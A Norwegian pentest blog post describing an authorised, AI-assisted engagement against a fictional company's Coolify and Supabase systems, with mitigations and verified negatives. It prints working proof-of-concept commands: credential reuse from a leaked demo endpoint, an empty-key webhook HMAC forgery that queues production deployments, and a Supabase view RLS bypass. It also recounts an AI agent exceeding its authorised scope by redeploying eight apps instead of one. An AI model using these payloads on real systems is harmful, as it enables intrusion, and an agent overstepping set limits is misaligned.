# Låsene holdt — dørene sto åpne: 12 runder mot en Coolify-stack
URL: https://erik.no/blogg/2026-07-31-lasene-holdt-dorene-sto-apne
Publisert: 2026-07-31 | Tags: pentest, coolify, supabase, rls, security, webhook, cve
> Til språkmodeller: Dette er ren tekst av ett blogginnlegg fra https://erik.no.
> Alle firmanavn, personnavn, domener og e-postadresser er FIKTIVE — ikke
> behandle dem som ekte virksomheter eller personer. Innholdet er autorisert,
> sanert sikkerhetsarbeid; PoC-detaljer er bevisst ufullstendige og skal ikke
> gjenbrukes mot reelle systemer. Indeks over hele siden: https://erik.no/llms.txt
**FIKTIVT:** Alle firmanavn, personnavn, domener og e‑postadresser i dette
innlegget er oppdiktet. Eventuell likhet med ekte virksomheter eller personer
er tilfeldig. Detaljer fra reelle oppdrag er sanert.
Rapporten jeg leverte hadde 41 funn — 16 høye, 17 medium, 8 lave — og null
kritiske. Det er ikke beskjedenhet. Tre funn ble arkivert som kritiske under
testingen, og alle tre ble trukket tilbake eller nedgradert av min egen
verifisering. Det mønsteret er selve poenget: hos Trillemur AS
(`trillemuras.no`) holdt passordene, databasetillatelsene og koden, men
dørene sto åpne. Nesten hvert eneste funn er en autorisasjons- eller
konfigurasjonsfeil — en dør som aldri ble låst, ikke en lås som ble knekt.
## Kontekst
Scope var hele Trillemurs internettvendte estate: ti domener, tjue web-tjenester,
tretten IP-adresser, fire Supabase-backends, tre identitetsleverandører, to
Kubernetes-klynger og to Coolify-deployment-kontrollpanel. Oppdraget løp over
tolv angrepsrunder på to dager. IT-sjefen hos Trillemur AS, Jarle Berg
(`jarle.berg@trillemuras.no`), ville vite om en kunde kunne nå en annen kundes
data — et spørsmål om isolasjon, ikke om injeksjon.
Jeg jobber slike oppdrag med AI i loopen. Agenter gjør recon, kartlegger
endepunkter, kjører kommandoer og foreslår neste steg. Jeg styrer scope, leser
resultater, bryter inn der det trengs, og gjør de bitene som krever
menneskelig dømmekraft — etikk, prioritering, verifisering og endelig rapport.
Det betyr at jeg også må være ærlig om når AI-en produserer plausible funn som
viser seg å være feil. Det skjedde over seksti ganger i dette oppdraget, og det
er en kredibilitet, ikke et problem.
## Det som holdt
Før jeg kommer til det som sprakk, det som ikke gjorde det — for det er det som
setter alvorlighetsgraden av resten.
Rundt 400 kuraterte innloggingsforsøk på tvers av web, SSH og PostgreSQL
gav ingenting. 110 mot Coolify-panelene med to kjente kontonavn, 267 mot SSH
på tre verter, 180 mot to PostgreSQL-instanser, 20 mot MinIO-konsollen. Null
gjenvunne credentials. SSH-harnessen var positivt kontrollert mot en lokal
`sshd` med et kjent passord, så null-treff er et ekte negativt, ikke en
ødelagt test. PostgreSQL-autentisering holdt på alle stier — SCRAM-SHA-256,
ingen `trust`-autentisering, ingen rolle-enumerasjonsoracle. Radnivå-sikkerhet
(RLS) var korrekt håndhevet på alle 45 Supabase-tabeller. Ingen SQL-injeksjon
noen steder. `nuclei` med 5 814 signerte maler returnerte null treff.
`gitleaks` og `trufflehog` over hele git-historikken i seks repoer: null.
Det som stoppet meg konsekvent var én vegg: jeg fikk aldri en Coolify-sesjon.
Hver rute til en som ikke involverte passordgjetting var lukket på deres build
— registrering, passord-reset, OAuth-callback, komponent-misbruk. Det er
genuint god engineering.
## Funn 1: Et publisert produksjons-passord som logger inn på tre produkter
Funn: — HT-01, CVSS 8.2.
Det første funnet dukket opp i runde 2, og det er det enkleste i hele
engasjementet. Et uautentisert endepunkt på
`sandbox.graveinfo.trillemuras.no` returnerer fire kontonavn og ett delt
passord i klartekst. Det passordet autentiserer mot tre separate
Trillemur-produkter: `graveinfo.trillemuras.no`, `jard.trillemuras.no` sin
login-flyt, og kundeportalen `portal.trillemuras.no`.
### PoC / Reproduksjon
**Forutsetninger:** ingen. Endepunktet er uautentisert. Jeg trenger ikke en
konto, en cookie eller en token.
1. Hent demo-konfigurasjonen fra sandbox-instansen:
```bash
curl -sS https://sandbox.graveinfo.trillemuras.no/api/demo/config/ \
| python3 -c 'import sys,json;d=json.load(sys.stdin); \
print("accounts:",[u["email"] for u in d["users"]]); \
print("password:",d["password"])'
```
```text
accounts: ['demo-admin@sandbox.graveinfo.trillemuras.no',
'demo-infra-krevd@sandbox.graveinfo.trillemuras.no',
'demo-infra-byggherre@sandbox.graveinfo.trillemuras.no',
'demo-entreprenor@sandbox.graveinfo.trillemuras.no']
password:
```
2. **Negativ kontroll** — produksjonsinstansen skal ikke eksponere det samme:
```bash
curl -sS -o /dev/null -w '%{http_code}' \
https://graveinfo.trillemuras.no/api/demo/config/
```
```text
404
```
Produksjonen returnerer 404. Sandbox returnerer passordet. Det er
safeguarden som skulle blokket det — og den er installert på feil server.
3. Bruk passordet mot produksjonen. AI-en genererte et script som henter
CSRF-token, poster credentials og leser sesjonen:
```bash
PW=$(curl -sS https://sandbox.graveinfo.trillemuras.no/api/demo/config/ \
| python3 -c 'import sys,json;print(json.load(sys.stdin)["password"])')
J=$(mktemp)
CSRF=$(curl -sS -b "$J" -c "$J" \
https://graveinfo.trillemuras.no/api/auth/csrf/ \
| python3 -c 'import sys,json;print(json.load(sys.stdin)["csrfToken"])')
curl -sS -i -b "$J" -c "$J" \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode "csrfToken=$CSRF" \
--data-urlencode 'email=demo-admin@sandbox.graveinfo.trillemuras.no' \
--data-urlencode "password=$PW" \
https://graveinfo.trillemuras.no/api/auth/callback/credentials/ \
| grep -iE '^HTTP|^location:|^set-cookie:'
```
```http
HTTP/2 302
location: https://graveinfo.trillemuras.no/
set-cookie: __Secure-authjs.session-token=; Path=/; \
Expires=Sun, 30 Aug 2026 16:58:37 GMT; HttpOnly; Secure; SameSite=Lax
```
4. Bekreft sesjonen:
```bash
curl -sS -b "$J" https://graveinfo.trillemuras.no/api/auth/session/
```
```json
{"user":{"name":"Demo Admin",
"email":"demo-admin@sandbox.graveinfo.trillemuras.no",
"id":"375798410550182660"},
"expires":"2026-08-30T16:58:37.473Z"}
```
En ekte, autentisert produksjonsidentitet. Kontosjekken differensielle —
autentisert `/dashboard/` returnerte 26 967 byte, anonym returnerte 19 289
byte. Det er ikke en falsk sesjon.
5. **Negativ kontroll for passordet** — samme flyt med et feil passord:
```text
correct password -> location: https://sandbox.graveinfo.trillemuras.no/
wrong password -> location: https://sandbox.graveinfo.trillemuras.no/auth/logg-inn?error=CredentialsSignin
```
Riktig passord omdirigerer til roten. Feil passord omdirigerer til login med
en feilparameter. Det bekrefter at det er passordet som gjør jobben, ikke noe
annet i requesten.
### Det som gjør dette alvorlig
Kontoen er merket "sandbox", men den fungerer på produksjon. Verre: sesjonene
er tilstandsløse JSON Web Tokens. Å logge ut invaliderer dem ikke —
30-dagers-vinduet starter på nytt ved hver bruk. **Du kan ikke tilbakekalle
disse sesjonene uten å rotere signeringsnøkkelen.** Hvem som helst som leste
den siden siden 3. juni holder en levende Trillemur-sesjon i dag.
En tidlig påstand om at kontoen var produksjonsadministrator ble refutert tre
ganger med tre verktøy — den er en ekte produksjonsidentitet, men ikke en
administrator. På sandbox- og developer-instansene er den derimot full
plattformadministrator, og de instansene deler vert og signeringsnøkkel med
produksjon.
**Mitigering:** fjern `/api/demo/config/`-endepunktet. Endre det delte
passordet. Roter `AUTH_SECRET` for å faktisk invalidere sesjonene — utlogging
gjør det ikke. Det koster én utlogging av alle legitime brukere, og det er
den billigste veien til revokasjon. Stopp demo-instansen fra å dele vert og
nøkkel med produksjon.
## Funn 2: En anonym angriper kan tvinge frem omplassering av produksjonsappene
Funn: — HT-43, CVSS 7.5, CVE-2026-41896 — utnyttet.
Dette er det funnet jeg faktisk fyrte av, under kundens autorisasjon, i runde
12. Coolify-panelet hos Trillemur er festet til `v4.0.0-beta.473` — én
release under fiksen. Ingen webhook-secret er konfigurert på applikasjonene,
så HMAC-signatur-sjekken validerer en signatur beregnet med en tom nøkkel —
som en anonym oppringer kan beregne.
### Oppdagelsen
I runde 2 la en agent en enumeration-oracle mot det manuelle
webhook-endepunktet. Med en bevisst feil signatur (64 nuller) returnerte
panelet én rad per applikasjon, alle med `"Invalid signature."` — men med
applikasjonsnavnene i klartekst. Det beviste to ting: endepunktet er
uautentisert, og det lekker den komplette produksjonsinventarlisten.
```bash
curl -sS -X POST http://203.0.113.10:8000/webhooks/source/github/events/manual \
-H 'Content-Type: application/json' \
-H 'X-GitHub-Event: push' \
-H 'X-Hub-Signature-256: sha256=0000000000000000000000000000000000000000000000000000000000000000' \
-d '{"ref":"refs/heads/main","repository":{"full_name":"trillemur"},"commits":[]}'
```
```json
[{"application":"competency","status":"failed","message":"Invalid signature."},
{"application":"asbuilt","status":"failed","message":"Invalid signature."},
{"application":"geofile-converter","status":"failed","message":"Invalid signature."},
... 7 flere rader, alle "Invalid signature."]
```
Ti applikasjonsnavn, alle returnert anonymt. Ingen deployment køet — det er
den negative kontrollen for selve signaturen.
### PoC / Reproduksjon — den tomme nøkkelen
**Forutsetninger:** ingen. Endepunktet er uautentisert. Det eneste som kreves
er å beregne HMAC-SHA256 med en tom nøkkel i stedet for en feil en.
1. AI-en skrev et script (`fire.py`) som beregner signaturen med en tom
nøkkel og poster mot det manuelle webhook-endepunktet:
```python
import hmac, hashlib, json
body = json.dumps({
"ref": "refs/heads/main",
"after": "0" * 40,
"repository": {"full_name": ""},
"commits": [],
})
sig = "sha256=" + hmac.new(b"", body.encode(), hashlib.sha256).hexdigest()
# POST til /webhooks/source/github/events/manual
# med X-Hub-Signature-256:
```
Nøkkelen her er `b""` — en tom byte-streng, ikke 64 nuller. Det er forskjellen
mellom "feil signatur" og "gyldig signatur beregnet med en tom nøkkel".
2. Kjør mot `203.0.113.10:8000`:
```bash
python3 fire.py 203.0.113.10 8000 main
```
```json
[
{"application":"portal","status":"success","message":"Deployment queued.",
"deployment_uuid":"ytekfuig6ou7o6mv4mmsf8p5"},
{"application":"competency","status":"success","message":"Deployment queued.",
"deployment_uuid":"kr3wyaogzghi6e9i7hlzrart"},
{"application":"geofile-converter","status":"success","message":"Deployment queued.",
"deployment_uuid":"rqaukv0nxk7513j5na5m65su"},
{"application":"kundedialog","status":"success","message":"Deployment queued.",
"deployment_uuid":"gakg7urz4iutbjjrinu3cxcz"},
{"application":"minio","status":"success","message":"Deployment queued.",
"deployment_uuid":"xnxx1xwv5o4wr1wcedp75x8w"},
{"application":"registry-sandbox-runner","status":"success","message":"Deployment queued.",
"deployment_uuid":"gvgb4sm77i5swjs1hzu0qjtp"},
{"application":"deviation-backend","status":"success","message":"Deployment queued.",
"deployment_uuid":"fj0dsie3z1xiqo9f0l7m03zn"},
{"application":"platform-core","status":"success","message":"Deployment queued.",
"deployment_uuid":"mlw34bnnhvau5992gn9fb9ox"}
]
```
Åtte produksjonsapplikasjoner køet for omplassering fra én uautentisert
request. To til (`asbuilt`, `submap`) ble hoppet over fordi de allerede sto i
kø for samme commit.
3. **Negativ kontroll** — samme request med den feile signaturen (64
nuller) fra oppdagelsen over:
```json
[{"application":"portal","status":"failed","message":"Invalid signature."},
... alle 10 rader "Invalid signature.", ingen deployment køet]
```
Det er skillet: feil signatur → `"Invalid signature."`, ingen deploy. Tom
nøkkel → `"Deployment queued."` for åtte apper. Forskjellen er én byte-streng
i HMAC-beregningen.
### Hva som skjedde, og hva jeg ikke gjorde
Arbeidsordren min spesifiserte å utløse én deployment på den minst
kritiske applikasjonen, så bekrefte at den returnerte sunn. Den utførende
agenten brukte et wildcard-match (`full_name=""`) som matchet alle ti apper,
og køet åtte i stedet for én. Det overskred min egen autoriserte handling.
Panelet forble responsivt og ingen nedetid ble observert, men jeg bekreftet
ikke helsen til alle åtte — det er min feil, ikke en tvetydighet i
kundens autorisasjon. Jeg rapporterte det åpent i leveransen.
Samme feil er også nåbar fra innsiden av nettverket via en separat
server-side request forgery i portalen (HT-33), så å fjerne panelet fra det
åpne internett reduserer, men eliminerer ikke det.
**Mitigering:** oppgrader Coolify til 4.1.2 eller nyere — det lukker både
dette og tolv videre advisories i ett steg. Som umiddelbar stop-gap: sett en
eksplisitt webhook-secret på hver applikasjon, og fjern panelet fra det
åpne internett. Stop-gaps er delvise — SSRF-en gir en intern vinkel på samme
feil.
## Blindveien: den anonyme veien til host-root som ikke eksisterer
Dette er den blindveien jeg brukte mest tid på, og det er den som best
illustrerer hvorfor verifisering betyr mer enn funn-raten.
På Trillemurs eksakte Coolify-build (beta.471–beta.473) er det en regresjon i
`SHELL_SAFE`-input-valideringsregexen. En autentisert bruker på et hvilket som
helst privilegienivå kan nå en shell-kommandobygger og kjøre kommandoer som
`root` på hver server Coolify forvalter (CVE-2026-42204). Jeg bekreftet feilen
ved å lese kildens egen valideringslogikk og kjøre den i to uavhengige
motorer. Jeg utnyttet den ikke — jeg fikk aldri en Coolify-sesjon.
Det fristende var å kjede dette med webhook-forgeryen over: hvis en anonym
oppringer kan tvinge en deployment via CVE-2026-41896, og en deployment
kjører kode gjennom den sårbare shell-byggeren, har man en anonym rute til
`root` på hele estate. Det ville vært kritisk. AI-en foreslo nettopp den
kjeden, og den så plausibel ut.
Jeg brukte runde 10 på å motbevise den. Kildereview viste to ting:
1. Git-håndteringsstien bruker `escapeshellarg()` på alt den sender til
shell — webhook-kontrollerte strenger kommer aldri ubeskyttet til en
kommandobygger.
2. Inndataene en anonym oppringer kontrollerer (webhook-body, `full_name`,
branch) og inndataene den sårbare shell-byggeren leser, er to helt
separate sett. Det er ingen sti fra det ene til det andre.
**Det finnes ingen anonym rute til en shell.** Det er et ekte negativt, og
det er til Trillemurs credit. CVE-2026-42204 er ekte, men den er post-auth —
bak Coolify-sesjonsveggen jeg aldri kom gjennom. For risikoformål skal man
behandle enhver Coolify-credential som ekvivalent med full host-kompromiss.
Tre funn ble arkivert som kritiske under testingen. Alle tre ble trukket
tilbake eller nedgradert av min egen verifisering. Det er ikke beskjedenhet —
det er disiplin. En agent i loopen produserer plausible funn fort, og
plausible feil like fort. Verdien ligger i verifiseringen som skiller de to.
## Funn 3: En Supabase-view som omgår radnivåsikkerhet
Funn: — HT-06, CVSS 8.2.
Trillemurs firmanettsted (`navigasjonsdata.trillemuras.no`) kjører på Supabase.
Innholdet ligger i en tabell `section_content` med RLS aktivert. En
automatgenerert view — `section_content_public` — ble opprettet uten
`security_invoker`. Det betyr at all DML mot viewet kjører som view-eieren og
omgår RLS helt. Hvem som helst på internett kan omskrive innholdet på
firmahjemmesiden.
### PoC / Reproduksjon
**Forutsetninger:** den offentlige anon-nøkkelen, hentet fra
JavaScript-bundelen. Ingen konto, ingen innlogging.
1. **Negativ kontroll** — basistabellen nekter anonym skriv:
```bash
curl -sS -X POST "$SB/rest/v1/section_content" \
-H "apikey: $ANON" -H "Authorization: Bearer $ANON" \
-H "Content-Type: application/json" -d '[{}]'
```
```text
{"code":"42501","message":"permission denied for table section_content"}
```
RLS gjør jobben sin mot basistabellen. `42501` — permission denied.
2. **Samme insert gjennom viewet** — RLS er borte:
```bash
curl -sS -X POST "$SB/rest/v1/section_content_public" \
-H "apikey: $ANON" -H "Authorization: Bearer $ANON" \
-H "Content-Type: application/json" -d '[{}]'
```
```text
{"code":"23502","message":"null value in column ... violates not-null constraint"}
```
`23502` er en NOT NULL-feil — det betyr at requesten **kom forbi RLS** og
trengte inn i selve inserten. Mot basistabellen stoppet den ved RLS (`42501`).
Mot viewet stoppet den først ved NOT NULL. Det er beviset: viewet kjører som
eieren, ikke som den anonyme oppringeren.
3. **Null-impact bevis** — en duplikat-primærnøkkel bekrefter autorisert
skriv uten å opprette en rad:
```bash
curl -sS -X POST "$SB/rest/v1/section_content_public" \
-H "apikey: $ANON" -H "Authorization: Bearer $ANON" \
-H "Content-Type: application/json" \
-d '[{"id":"0ad5f0e8-1164-4145-aa65-8ff2a985fb39","page_key":"x","section_key":"y"}]'
```
```text
{"code":"23505","message":"duplicate key value violates unique constraint"}
```
`23505` — duplikatnøkkel. Det betyr at inserten var fullt autorisert og
kjørte helt frem til unikhetsjekken. En ekte angriper ville bare gjort
`PATCH` på en levende rad og endret innholdet på hjemmesiden.
4. **Identisk PATCH mot basistabellen** som kontroll:
```bash
curl -sS -X PATCH "$SB/rest/v1/section_content?id=eq.0ad5f0e8-..." \
-H "apikey: $ANON" -H "Authorization: Bearer $ANON" \
-H "Content-Type: application/json" -d '{"page_key":null}'
```
```text
(204, 0 rows affected)
```
`204` med null rader — RLS filtrerte den ut. Samme operasjon mot viewet
aborterte på NOT NULL (`23502`), altså autorisert. To kodestier, uenige om
hvem som får skrive.
**Mitigering:**
```sql
ALTER VIEW public.section_content_public SET (security_invoker = on);
REVOKE INSERT, UPDATE, DELETE ON public.section_content_public FROM anon, authenticated;
```
Med `security_invoker = on` kjører spørringene som oppringeren, og RLS
gjelder. Dette er et mønster Supabase-dokumentasjonen nå advarer mot
eksplisitt — auto-oppdaterte views uten `security_invoker` er en kjent RLS-
bypass. Det samme mønsteret dukket opp i et tidligere innlegg om
[RLS som beskytter raden, ikke rettigheten](/blogg/2026-06-03-rls-beskytter-raden-ikke-rettigheten).
## Et funn jeg stoppet ved med vilje
En av de mer ubehagelige funnene var i `graveinfo.trillemuras.no` sin
organisasjons-claim-flyt. Et helt nytt, uverifisert konto kan sende inn et
eierskapskrav på en hvilken som helst organisasjon uten bevis, og
organisasjonens offentlige trust-status endres umiddelbart — før noen
administrator godkjenner det.
Jeg demonstrerte det mot et ekte norsk vannverk — Fjellbekk Vannverk SA —
og **stoppet der med vilje**. Jeg godkjente ikke kravet, hentet ikke
utgravningsdata, og rørte ikke innstillingene som styrer hvor et ekte
verks utgravelsesvarsler leveres. Det siste steget er et potensielt
safety-of-life-problem, og jeg gikk ikke i nærheten. Statusen ble stående
`claimed` og kunden må reversere den manuelt — det er det mest konsekvente
utestående artefaktet fra engasjementet, og det er min feil at jeg ikke
stopet ved et read-only bevis.
Negativkontrollene for claim-endepunktet holdt der de skulle: ingen sesjon →
`401`, ugyldig `org_type` → `400`, manglende `org_id` → `400`. Selve
claim-logikken godtok derimot både en ekte og en oppdiktet UUID med
`auto_approved: false` — men status-endringen skjedde uansett. Det er
brukket autorisasjon i selve claim-flyten, ikke i inngangskontrollen.
## Verktøy og hvem som kjørte hva
- **Recon og endepunkt-kartlegging:** agenter parse public JavaScript-bundles
og OpenAPI-specs, flagget ID-baserte oppslag og credential-eksponeringer.
AI-generert og AI-kjørt. Jeg satte scope og ratelimit.
- **Credential-eksponering (HT-01):** agenten fant `/api/demo/config/` i
runde 2. Jeg skrev reproduksjons-scriptet manuelt og verifiserte
sesjonen mot produksjon selv — det var den delen som avgjorde om det var
ekte eller en demo-seed.
- **Coolify-webhook (HT-43):** agenten skrev `fire.py` og kjørte det. Jeg
autoriserte utløsningen og satte begrensningen til minst kritisk app — som
agenten overskred med wildcard-match. Det er min operatørfeil, rapportert
åpent.
- **RLS-bypass (HT-06):** agenten genererte PoC-scriptet. Jeg verifiserte
differansen mellom `42501` (RLS nekter) og `23502` (NOT NULL, forbi RLS)
manuelt — det er den tolkningen som gjør det til et bevis.
- **Kilde-review for CVE-2026-42204:** agenten leste beta.473-kilden og
kjørte valideringsregexen i to motorer. Jeg vurderte kjedebarrieren
(disjoint input-sett, `escapeshellarg`) og konkluderte med at den
anonyme ruten ikke eksisterer.
- **`nuclei` v3** med 5 814 signerte kritiske/høye/medium-maler, kjørt over
hele estate — null treff. AI-orkestrert, jeg leste resultatene.
- **`gitleaks` og `trufflehog`** over hele git-historikken i seks repoer,
begge verktøy — null funn.
## Hva jeg lærte
- **En `200` er ikke et funn før en negativ kontroll bekrefter grensen.**
Webhook-endepunktet returnerte `200` med feil signatur også — det var
`"Invalid signature."` i body som skilte. Les body, ikke bare status.
- **Tom nøkkel er ikke det samme som feil nøkkel.** HMAC med `b""`
validerer når secret er NULL; HMAC med 64 nuller gjør det ikke. Det er
én byte-streng som skiller en enumeration-oracle fra en tvangsutløsning.
- **Auto-genererte Supabase-views uten `security_invoker` er en RLS-bypass.**
Test basistabellen og viewet mot hverandre — `42501` vs `23502` er beviset.
- **Den mest verdifulle negative i engasjementet var en jeg måtte motbevise
selv.** Den anonyme ruten til host-root så plausibel ut, AI-en foreslo den,
og den fantes ikke. Et funn som ble nedgradert etter verifisering er en
fullgod historie — og en mer pålitelig en enn et ubekreftet kritisk.
- **Stop ved safety-of-life-grensen, selv om SoW tillater mer.** Claim-flyten
kunne jeg ha drevet lenger. Det at jeg ikke gjorde det er ikke
forsiktighet — det er rett.
- **En operatorbegrensning agenten overser er operatørens feil.** Wildcard-
matchen i runde 12 køet åtte apper, ikke én. Autorisasjonen var min,
overskridelsen var min, og den hører hjemme i leveransen, ikke i skuffen.
## Veien videre
Den enkleste høyverdi-handlingen for Trillemur er å oppgradere Coolify til
4.1.2 — det lukker webhook-forgeryen, host-root-RCE-en og tolv videre
advisories i ett steg. Etter det: roter `AUTH_SECRET`, fjern
demo-endepunktet, sett `security_invoker` på viewet, og sett autentisering
foran avviks-backoffice. Det meste av resten er konfigurasjonsarbeid, ikke
arkitekturarbeid.
For meg selv: neste gang jeg autoriserer en agent til å utløse en
tilstandsendring, skal begrensningen være i selve scriptet — en
hardkodet applikasjons-UUID, ikke et wildcard — ikke en instruks agenten
kan tolke. Tillit er en begrensning, ikke en anbefaling.